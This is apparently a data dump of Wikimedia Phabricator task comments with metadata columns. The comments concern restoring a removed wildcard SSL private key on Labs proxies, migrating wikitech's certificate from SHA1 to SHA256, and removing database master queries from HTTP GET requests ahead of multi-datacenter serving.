+`tools-static` uses the key for https://tools-static.wmflabs.org/.",,,1426860446,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+429658,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Beta has no star.wmflabs.org key, and no other labs instance should have that key either.
+
+This needs to go on tools-webproxy-01, tools-webproxy-02 and dynamicproxy-gateway. I'll deal with it later tonight if @Coren hasn't gotten to it by then :)",,,1426841026,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+429236,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"I think I was too optimistic about the filebucket:
+
+```
+scfc@tools-webproxy-01:~$ sudo puppet filebucket restore /etc/ssl/private/star.wmflabs.org.key 5e8a34bb0d41cedc7a8cce93e6af777e
+Error: Could not run: getaddrinfo: Name or service not known
+scfc@tools-webproxy-01:~$
+```
+
+Rather than trying to figure that out, @coren, @yuvipanda, could you please install `star.wmflabs.org.key` from the private repository to:
+
+- `tools-static`,
+- `tools-webproxy-01`, and
+- `tools-webproxy-02`?
+
+Also, the key needs to be installed on the Labs proxy and the Beta cluster.",,,1426784067,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+429219,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Change 197932 merged by BBlack:
+sslcert: Don't delete manually managed private keys
+
+[[https://gerrit.wikimedia.org/r/197932]]",,,1426782548,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+429203,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Change 197932 had a related patch set uploaded (by Tim Landscheidt):
+sslcert: Don't delete manually managed private keys
+
+[[https://gerrit.wikimedia.org/r/197932]]
+",,,1426781834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+92709,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","> The site is using outdated security settings that may prevent future versions of Chrome from being able to safely access it.
+
+{F90708}",Medium,50.0,1426298823,1433961334.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-xysvvszu4latgqhd66mp,task_description,resolved,True,c3,1,True,False,True,-16,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+472394,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",sha1 revoked,,,1433961334,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+469228,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","re-assigned to RobH 
+
+>>! In T92709#1321521, @RobH wrote:
+> once the above patchset is merged live and wikitech is using the sha256, please assign this task to me for the revocation of the sha1 certificate.  (The sha1 cert will be overwritten on the hosts).
+
+done.  you can revoke the old one now.",,,1433444181,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,1
+469225,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","amended to the change (we had another leading whitespace that would break it, fixed that), 
+ran puppet on wikitech and let it recreate cert and chained file.
+
+Signature algorithm is now 	SHA256withRSA
+
+grade A on https://www.ssllabs.com/ssltest/analyze.html?d=wikitech.wikimedia.org
+
+the warnings in Chrome should be gone too",,,1433444016,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+469223,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","Change 214666 merged by Dzahn:
+certs: wikitech.wm.org certificate SHA1 to SHA2
+
+[[https://gerrit.wikimedia.org/r/214666]]",,,1433443593,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+465899,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","once the above patchset is merged live and wikitech is using the sha256, please assign this task to me for the revocation of the sha1 certificate.  (The sha1 cert will be overwritten on the hosts).",,,1432924699,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+465898,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","Change 214666 had a related patch set uploaded (by RobH):
+wikitech.wikimeida.org certificate sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/214666]]
+",,,1432924657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+432173,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
+> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+> ..
+> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.
+
+Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:
+
+{F103968}
+
+.. which confirms it is SHA1 and not something else.",,,1427273538,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+432172,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
+> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+> ..
+> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.
+
+Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:
+
+{F103968}
+
+.. which confirms it is SHA1 and not something else.
+
+Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they postponed to Chrome 42.
+
+{F103972}",,,1427273471,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+432171,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
+> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+> ..
+> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.
+
+Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:
+
+{F103968}
+
+.. which confirms it is SHA1 and not something else.
+
+Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they postpooned it 6 weeks to Chrome 42.
+
+{F103972}",,,1427273463,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+432170,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
+> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+> ..
+> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.
+
+Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:
+
+{F103968}
+
+.. which confirms it is SHA1 and not something else.
+
+Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. So either we misread the announcement or maybe they moved it up 6 weeks to Chrome 42.
+
+{F103972}",,,1427273449,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+432168,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
+> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+> ..
+> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.
+
+Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:
+
+{F103968}
+
+.. which confirms it is SHA1 and not something else.
+
+Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. 
+
+{F103972}",,,1427273375,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+432166,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome",">>! In T92709#1118731, @Dzahn wrote:
+> this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+> ..
+> Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.
+
+Indeed. Chrome 43 improved the SSL dialog with details about the warning. https://wikitech.wikimedia.org/ now shows in Chrome 43.0.2343.5 canary the following:
+
+{F103968}
+
+.. which confirms it is SHA1 and not something else.
+
+Having said that, Chrome 41 has been released to stable and visiting wikitech does not result in a warning, even though its certificate expires 25 January 2016. ",,,1427273325,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-15,True,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+426371,"wikitech.wikimedia.org SSL certificate considered ""outdated security"" in Chrome","this should be T73156 (SHA1 needs to be replaced with a SHA256 cert)
+
+Chrome 39 will warn users if SHA1 certificates are used and expire after January 1, 2017.
+Chrome 40 will warn users if SHA1 certificates are used and expire after June 1, 2016.
+Chrome 41 will warn users if SHA1 certificates are used and expire after January 1, 2016.",,,1426307441,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xysvvszu4latgqhd66mp,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+92357,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Most of MediaWiki was written with the assumption that MediaWiki and its data stores are collocated and connected via reliable, low-latency network links. Until recently, MediaWiki had minimal facilities for maintaining consistency and partition tolerance across wide-area network links. As a result, although the Wikimedia Foundation operates data centers in multiple locations, we only run MediaWiki in one location at any one time.
+
+This has several practical consequences: first, we are not as fault-tolerant as we'd like to be. We have a secondary data center with enough capacity to serve our traffic in case our primary datacenter goes down, but it is in cold standby, meaning it takes some time (and some manual effort) to get it running. Second, site performance is poor for logged-in users that are geographically remote from Ashburn, Virginia, due to the time it takes to transmit and receive data across long-distance links. Thirdly, in some basic cases, like parsing pages, the master database must be up, leading to a SPOF.
+
+It's going to take a lot of work to fix this completely, but we are getting closer to being able to serve some traffic from secondary datacenter. Specifically, we would like to serve ""reads"" -- requests that don't require a master database connection -- from a secondary datacenter.
+
+In order to serve reads from a different datacenter, we need to be able to predict which incoming requests will modify data, so that we can route them accordingly. We need to be able to make this determination at the edge -- i.e., the outermost layers of the infrastructure, so it cannot be complicated or slow.
+
+The solution we have is to use the HTTP request method (T91820): GETs/HEADs are read-only, while POSTs are not. This was already true for most cases, but there is a long tail of actions with side-effects that are done via GET, such as purge, rollback, markpatrolled.
+
+This task mostly involves fixing DBPerformance log warnings. Warnings can be dealt with be:
+a) Changing DB master reads to use DB slaves
+b) Moving the database updates to POST requests, the jobqueue, or at least to post-send updates via DeferredUpdates
+c) Disabling warnings for a few exceptional cases like CentralAuth.
+
+See +channel:DBPerformance on logstash.wikimedia.org
+
+Most of these warnings are writes or master queries on HTTP GET requests, which would be cross DC in active-active setup for some user. Ideally we could eventually get these to zero.",Medium,50.0,1426044550,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,False,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_description,open,True,c3,1,True,False,,-17,True,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+1995068,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499969 **abandoned** by Aaron Schulz:
+%%%[mediawiki/core@master] Use the main stash for basic user talk page notifications%%%
+Reason:
+%%%%%%
+https://gerrit.wikimedia.org/r/499969",,,1665004161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,378,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+1989657,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Removing task assignee due to inactivity as this open task has been assigned for more than two years. See the email sent to the task assignee on August 22nd, 2022.
+Please assign this task to yourself again if you still realistically [plan to] work on this task - it would be welcome!
+If this task has been resolved in the meantime, or [should not be worked on](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle) (""declined""), please update its task status via ""Add Action… 🡒 Change Status"".
+Also see https://www.mediawiki.org/wiki/Bug_management/Assignee_cleanup for tips how to best manage your individual work in Phabricator. Thanks!",,,1664188380,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,377,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1
+1884247,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499995 **abandoned** by Aaron Schulz:
+%%%[mediawiki/core@master] [WIP] Avoid Category count refresh DB writes on HTTP GET%%%
+Reason:
+%%%%%%
+https://gerrit.wikimedia.org/r/499995",,,1647924027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,350,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1536879,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"I'm slightly rescoping this to give the tracking task a natural end, namely to only track that which we want to get done prior to starting to serve active-active. For the rest we can file individual #sustainability and/or #performance_issue  tasks that we might track on our #perf-team-radar ",,,1593701744,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,261,True,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+1277857,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499985 abandoned by Aaron Schulz:
+Add UserOptionsUpdateJob class and use it for namespaces at SpecialSearch
+
+Reason:
+Taking a different route
+
+[[https://gerrit.wikimedia.org/r/499985]]",,,1557348099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,200,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+1269367,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499990 **merged** by jenkins-bot:
+[mediawiki/extensions/NewUserMessage@master] Use a job for triggering new user talk messages
+
+[[https://gerrit.wikimedia.org/r/499990]]",,,1556053218,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,198,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1253930,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499995 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/core@master] [WIP] Avoid Category count refresh DB writes on HTTP GET
+
+[[https://gerrit.wikimedia.org/r/499995]]",,,1553852024,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1253910,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499990 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/extensions/NewUserMessage@master] Use a job for triggering new user talk messages
+
+[[https://gerrit.wikimedia.org/r/499990]]",,,1553849082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1253894,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499985 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/core@master] Add UserOptionsUpdateJob class and use it for namespaces at SpecialSearch
+
+[[https://gerrit.wikimedia.org/r/499985]]",,,1553847260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+1253845,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 499969 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/core@master] Use the main stash for basic user talk page notifications
+
+[[https://gerrit.wikimedia.org/r/499969]]",,,1553837963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,195,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+873000,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348658 merged by jenkins-bot:
+[mediawiki/extensions/CentralAuth@master] Avoid triggering master queries in ApiValidatePassword
+
+[[https://gerrit.wikimedia.org/r/348658]]
+",,,1496986802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,101,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+872991,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353823 merged by jenkins-bot:
+[mediawiki/extensions/CentralAuth@master] Avoid master queries in beginSecondaryAuthentication()
+
+[[https://gerrit.wikimedia.org/r/353823]]
